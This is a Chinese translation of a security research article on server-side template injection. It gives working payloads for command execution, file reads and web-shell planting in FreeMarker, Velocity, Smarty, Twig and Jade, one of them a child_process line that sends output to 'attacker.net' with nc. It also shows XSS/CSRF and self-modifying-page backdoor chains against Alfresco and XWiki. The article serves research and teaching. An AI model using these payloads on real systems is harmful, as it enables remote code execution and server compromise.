服务端模板注入攻击

服务端模板注入攻击

概述

模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升了开发效率,良好的设计也使得代码重用变得更加容易。与此同时,它也扩展了黑客的攻击面。除了常规的 XSS 外,注入到模板中的代码还有可能引发 RCE(远程代码执行)。通常来说,这类问题会在博客,CMS,wiki 中产生。虽然模板引擎会提供沙箱机制,攻击者依然有许多手段绕过它。在这篇文章中,我将会攻击几个模板引擎来说明该类漏洞,并展示沙箱逃逸技术。

什么是服务端模板注入

通过模板,Web应用可以把输入转换成特定的HTML文件或者email格式。就拿一个销售软件来说,我们假设它会发送大量的邮件给客户,并在每封邮件前SKE插入问候语,它会通过Twig(一个模板引擎)做如下处理:

$output = $twig->render( $_GET['custom_email'] , array("first_name" => $user.first_name) );

有经验的读者可能迅速发现 XSS,但是问题不止如此。这行代码其实有更深层次的隐患,假设我们发送如下请求:

custom_email={{7*7}} // GET 参数
 
49  // $output 结果

还有更神奇的结果:

custom_email={{self}} // GET 参数
 
Object of class
__TwigTemplate_7ae62e582f8a35e5ea6cc639800ecf15b96c0d6f78db3538221c1145580ca4a5 could not be converted to string // 错误

我们不难猜到服务器执行了我们传过去的数据。每当服务器用模板引擎解析用户的输入时,这类问题都有可能发生。除了常规的输入外,攻击者还可以通过 LFI(文件包含)触发它。模板注入和 SQL 注入的产生原因有几分相似——都是将未过滤的数据传给引擎解析。

为什么我们在模板注入前加“服务端”呢?这是为了和 jQuery,KnockoutJS 产生的客户端模板注入区别开来。通常的来讲,前者甚至可以让攻击者执行任意代码,而后者只能 XSS。

模板注入的手法

根据我的经验,我总结出如下步骤:


1:探测漏洞

漏洞一般出现在这两种情况下,而每种有不同的探测手法:

文本类

大部分的模板语言支持我们输入 HTML,比如:

smarty=Hello {user.name}
Hello user1
 
freemarker=Hello ${username}
Hello newuser
 
any=<b>Hello</b>
<b>Hello<b>

未经过滤的输入会产生 XSS,我们可以利用 XSS 做我们最基本的探针。除此之外,模板语言的语法和 HTML 语法相差甚大,因此我们可以用其独特的语法来探测漏洞。虽然各种模板的实现细节不大一样,不过它们的基本语法大致相同,我们可以发送如下 payload:

smarty=Hello ${7*7}
Hello 49
 
freemarker=Hello ${7*7}
Hello 49

来确认漏洞。

代码类

在一些环境下,用户的输入也会被当作模板的可执行代码。比如说变量名:

personal_greeting=username
Hello user01

这种情况下,XSS 的方法就无效了。但是我们可以通过破坏 template 语句,并附加注入的HTML标签以确认漏洞:

personal_greeting=username<tag>
Hello
personal_greeting=username}}<tag>
Hello user01 <tag>

信息收集

检测到模板注入后,我们需要判断具体的模板引擎。我们需要 fuzz 不同的字符,再通过返回的错误判断。当模板引擎屏蔽错误后,该类当法就失效了,并且暴力 fuzz 也对攻击自动化不友好。Burpsuite 则对不同模板接受的 payload 做了一个分类,并以此快速判断模板引擎:

这里的绿线表示结果成功返回,红线反之。有些时候,同一个可执行的 payload 会在不同引擎中返回不同的结果,比方说{{7*'7'}}会在 Twig 中返回49,而在 Jinja2 中则是7777777。

漏洞利用

读文档

读模板文献是构造 exp 的第一步。一般来讲,我们需要关注如下部分:

  • 'Template 使用手册',这一部分通常告诉我们基本的模板语法
  • '安全问题',在攻击模板时,它通常可以提供我们许多思路
  • 内建方法,函数,变量,过滤器
  • 插件/扩展——我们可以优先研究默认开启的

探环境

当我们构建出了可用 exp 后,我们需要考虑我们当前环境可利用的函数/对象。除了模板默认的对象和我们提供的参数外,大部分模板引擎都有一个包含当前命名空间所有信息的对象(比如 self),或者一个可以列出所有属性和方法的函数。

如果没有这样的对象或函数,我们需要暴力枚举变量名。我已在 FuzzDB 和 Burp Intruder 中公布了 fuzz 字典。

有些时候,开发者也会在模板中包含了一些敏感信息。不过这视情况而定,因此不在这里讨论。

黑程序

至此,读者已经了解如何利用这一攻击面了。但是我们需要提醒读者不要局限目光于通用特性,我们还需注意到不同开发者的实现细节。在余下的篇幅里,我会用模板注入来实现任意对象创建,任意文件读写,远程文件包含,信息泄露以及提权。

有些时候,攻破一个程序不需要多少时间,比如:{php}echo id;{/php}

这时,我们只需递交:

<%
import os
x=os.popen('id').read()
%>
${x}

即可

但是越来越多的模板会提供安全措施(比方说沙箱,过滤)来保证安全性,因此开发模板注入后门越来越难了。

案例

FreeMarker

FreeMaker 是 Java 下最受欢迎的模板引擎。喜出望外的是,这个模板的文档提到了安全问题:
Q:我可以允许用户递交模板吗?这又什么安全隐患吗?
A: 通常来讲,我们不允许这么做。除非用户是管理员或者可信任的用户。模板和 *.java 文件一样有威胁。如果你依然坚持这么做,那么你可以参考这个

除了DoS等相对影响较小的问题,我们找到了个文献:
Configuration.setNewBuiltinClassResolver,Environment.setNewBuiltinClassResolve:它们在模板中可以这样调用:"com.example.SomeClass"? new(),虽然这两个函数对FTL库十分重要,但是不应该出现在一般的模板里。new 它会产生 TemplateModel,这个类有引起任意代码执行的隐患。

虽然这个描述并不详细,但是我们可以粗略得知new会导致安全问题,让我们来看看它的文档:

用户可以通过实现 TemplateModel 来用 new 创建任意 Java 对象

如果你想让用户上传模板,你应该看这里

TemplateModel 有什么神奇的东西呢?我们来看一看:

Execute!这是不是一个可以执行代码的功能呢?为了验证 Execute,我们可以:

public class Execute
implements TemplateMethodModel
/*
给予FreeMaker执行命令权限,并将输入内联到模板里
*/

果然和我们预料的一样:

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
uid=119(tomcat7) gid=127(tomcat7) groups=127(tomcat7)

这个 payload 会在后面大显身手。

Velocity

Velocity 同样是一款备受欢迎的模板语言。然而它没有默认变量列表和 安全问题 页面帮助我们构建 payload。下面展示了 Burp Intruder 在枚举变量名时的截图:(变量名在 payload 行,服务器结果在其右边):

这幅图中,被高亮的 class 能返回对象,看上去十分有趣。谷歌一下,我们发现了如下描述
ClassTool:在模板中实现Java的反射,默认参数:$key

这里有几个可利用的方法和属性:
$class.inspect(class/object/string):返回正在审查类或对象的ClassTool实例
$class.type:返回被审查的类

换句话说,我们可以通过这两个类获得任意对象信息。再利用目标的Runtime.exec()执行任意命令嗯。通过如下模板,我们可以验证这一点:

$class.inspect("java.lang.Runtime").type.getRuntime().exec("sleep 5").waitFor() //延迟了5秒

得到 shell 命令输出有点麻烦(毕竟java):

#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
 
//输出 tomcat7

Smarty

Smarty 是一款 PHP 的模板语言。它使用安全模式来执行不信任的模板。它只运行 PHP 白名单里的函数,因此我们不能直接调用 system()。然而我们可以从模板已有的类中进行任意调用。而文档表示我们可以通过 $smarty 来获取许多环境变量(比如当前变量的位置 $SCRIPT_NAME)。后面,我们又发现了 getStreamVariable:

这个函数能任意读取有读写权限的文件:

{self::getStreamVariable("file:///proc/self/loginuid")}
1000
{self::getStreamVariable($SCRIPT_NAME)}
<?php
define("SMARTY_DIR",'/usr/share/php/Smarty/');
require_once(SMARTY_DIR.'Smarty.class.php');
...

不仅如此,我们能任意调用静态方法,这当中包括一个可以创建和重写文件的方法public function writeFile($_filepath, $_contents, Smarty $smarty)。通过该方法,我们能轻松在web目录下创建后门。值得注意的是,第三个参数必须为 Smarty 对象,所以我们要想办法得到 Smarty 对象的引用。

幸运的是,self::clearConfig帮助我们获取对象:

public function clearConfig($varname = null)
{
return Smarty_Internal_Extension_Config::clearConfig($this, $varname);
}

最后,我们就可以创建后门了!

{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

Twig

Twig 和 Smarty 类似,不过我们不能用它调用静态方法。幸运的是,它提供了 _self,我们并不需要暴力枚举变量名。虽然 _self 没什么有用的方法,它提供了指向 Twig_Environment 的env 属性。Twig_Environment 其中的 setCache 方法则能改变 Twig 加载 PHP 文件的路径。这样一来,我们就可以通过改变路径实现 RFI了:

{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}

但是,PHP 默认禁止远程文件包含(关闭 allow_url_include),因此上述 payload 不能生效。进一步探索,我们在 getFilter 里发现了危险函数 call_user_func。通过传递传递参数到该函数中,我们可以调用任意 PHP 函数:

public function getFilter($name)
  {
    ...
    foreach ($this->filterCallbacks as $callback) {
    if (false !== $filter = call_user_func($callback, $name)) {
      return $filter;
    }
  }
  return false;
}
 
public function registerUndefinedFilterCallback($callable)
{
  $this->filterCallbacks[] = $callable;
}

我们只需注册 exec 为 filter 的回调函数,并如此调用:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
 
//返回结果: uid=1000(k) gid=1000(k) groups=1000(k),10(wheel)

Twig(沙箱模式)

Twig 的沙箱模式有额外的限制。它会禁用一部分函数(包括开发者提供的对象),因此我们并不能调用有价值的东西。万幸的是,这部分代码帮助我们突破限制:

public function checkMethodAllowed($obj, $method)
{
  if ($obj instanceof Twig_TemplateInterface || $obj instanceof Twig_Markup) {
  return true;
}

这里,我们可以调用实现 Twig_TemplateInterface 的对象,也就是说我们可以简介使用 _self.,_self.中的 displayBlock 让我们更上一层楼:

public function displayBlock($name, array $context, array $blocks = array(), $useBlocks =
true)
{
  $name = (string) $name;
    if ($useBlocks && isset($blocks[$name])) {
    $template = $blocks[$name][0];
    $block = $blocks[$name][1];
  } elseif (isset($this->blocks[$name])) {
    $template = $this->blocks[$name][0];
    $block = $this->blocks[$name][1];
  } else {
    $template = null;
    $block = null;
  }
  if (null !== $template) {
    try {
      $template->$block($context, $blocks);
    } catch (Twig_Error $e) {
...

我们可以用$template ->$block($context, $blocks)绕过白名单限制。以下的代码会调用 userObject 对象的 vulnerableMethod:{{_self.displayBlock("id",[],{"id":[userObject,"vulnerableMethod"]})}}。虽然现在不能获得化境变量,但我们可以利用 _context 属性查找开发者自定义的对象并调用有用的目标。

Jade

Jade 是一款 Node.js 模板引擎。CodePen.io 则可以接受用户递交该模板。这里,我会展示如何对模板注入进行黑盒测试。

首先,让我们来确认模板可以执行代码:

= 7*7
 
//结果:49

再来确认 self 对象的位置:

= root
 
//结果:[object global]

我们来列一下对象属性和函数:

- var x = root
- for(var prop in x)
, #{prop}
 
, ArrayBuffer, Int8Array, Uint8Array, Uint8ClampedArray... global, process, GLOBAL, root

这些可能是可利用的函数:

- var x = root.process
- for(var prop in x)
, #{prop}
 
, title, version, moduleLoadList... mainModule, setMaxListeners, emit, once

绕过保护机制:

- var x = root.process.mainModule
- for(var prop in x)
, #{prop}
 
因为安全原因,CodePen阻止了你的语句
请删除下列关键字后进行尝试
->process
->mainModule

- var x = root.process
- x = x.mainModule
- for(var prop in x)
, #{prop}
 
, id, exports, parent, filename, loaded, children, paths, load, require, _compile

确定有用的函数:

- var x = root.process
- x = x.mainModule.require
 
- x('a')
Cannot find module 'a'

最终 exp:

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')


实战

Alfresco

Alfresco 是一个用户在线合作类的 CMS。地权限用户能通过评论区的 XSS 来得到运行该 CMS 的服务器 Shell。先前 Freemaker 的 Payload 在此处可以不加修改地利用。不过我在此处将之前的 payload 换成用了一个经典后门:

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex(url.getArgs())}

底权限用户不能编辑模板。不过我们可以用 XSS+CSRF 来让管理员帮我们修改:

tok = /Alfresco-CSRFToken=([^;]*)/.exec(document.cookie)[1];
tok = decodeURIComponent(tok)
do_csrf = new XMLHttpRequest();
do_csrf.open("POST","http://"+document.domain+":8080/share/proxy/alfresco/api/node/workspace
/SpacesStore/59d3cbdc-70cb-419e-a325-759a4c307304/formprocessor",false);
do_csrf.setRequestHeader('Content-Type','application/json; charset=UTF-8');
do_csrf.setRequestHeader('Alfresco-CSRFToken',tok);
do_csrf.send('{"prop_cm_name":"folder.get.html.ftl","prop_cm_content":"&lgt;#assign
ex=\\"freemarker.template.utility.Execute\\"?new()> ${
ex(url.getArgs())}","prop_cm_description":""}');

XWiki Enterprise

XWiki 不仅支持 Velocity(有沙箱),还可以运行 Groovy 和 Python(沒有沙箱)。但是只有特权用户才能编辑后两者,我们有什么方法插入没有沙箱保护的模板呢?

我们来看看它的 $doc 类,有经验的读者不难推测出它的问题:

save 和 saveAsAuthor 意味着:save 保存的作者是按最后一个观看页面的人决定的(而不一定是作者)。我们就可以创建一个可以自修改的页面,当特权用户浏览时,它就修改并保存自己:

innocent content
{{velocity}}
#if( $doc.hasAccessLevel("programming") )
  $doc.setContent("
    innocent content
    {{python}}from subprocess import check_output
    q = request.get('q') or 'true'
    q = q.split(' ')
    print ''+check_output(q)+''
    {{/python}}
  ")
  $doc.save()
#end
{{/velocity}}

当这个页面被特权用户浏览时,后门就会被触发。之后任意用户都可以用该页面执行命令了。


作者:James Kettle —— blog.portswigger.net/20


二向箔安全学院:主要专注于 Web 安全领域,团队曾为 Google、Apple、微软、W3C、Adobe、腾讯、阿里等输出过安全能力。致力于推进网络空间安全领域知识的创新和传播,为广大信安技术人士提供最前沿的安全技能。

二向箔安全学院twosecurity.cn图标

微信公众号:二向箔安全(twosecurity),这里有最新的课程资讯,优惠活动及免费干货分享。

编辑于 2019-10-10

文章被以下专栏收录